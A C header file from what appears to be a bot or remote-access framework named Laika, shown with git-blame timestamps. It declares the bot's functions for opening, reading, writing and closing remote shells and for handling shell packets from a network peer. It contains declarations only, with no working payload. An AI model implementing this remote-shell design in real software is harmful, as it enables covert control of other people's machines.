2022-02-21 23:25:49 +00:00
|
|
|
#ifndef LAIKA_SHELL_H
|
|
|
|
#define LAIKA_SHELL_H
|
|
|
|
|
2022-06-28 00:02:49 +00:00
|
|
|
#include "laika.h"
|
2022-09-02 01:00:37 +00:00
|
|
|
#include "net/lpacket.h"
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-06-28 00:48:43 +00:00
|
|
|
#include <time.h>
|
|
|
|
|
2022-04-14 17:11:29 +00:00
|
|
|
#define LAIKA_SHELL_TASK_DELTA 50
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
struct sLaika_bot;
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_shell
|
|
|
|
{
|
2022-05-08 06:21:37 +00:00
|
|
|
uint32_t id;
|
|
|
|
};
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
/* raw platform-dependent shell allocation */
|
|
|
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
|
|
|
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
/* handles reading & writing to shell pipes */
|
|
|
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
2022-06-27 23:57:00 +00:00
|
|
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
|
|
|
|
size_t length);
|
2022-02-21 23:25:49 +00:00
|
|
|
|
|
|
|
/* packet handlers */
|
|
|
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
|
|
|
clock_t currTick, void *uData);
|
2022-04-14 17:11:29 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
#endif
|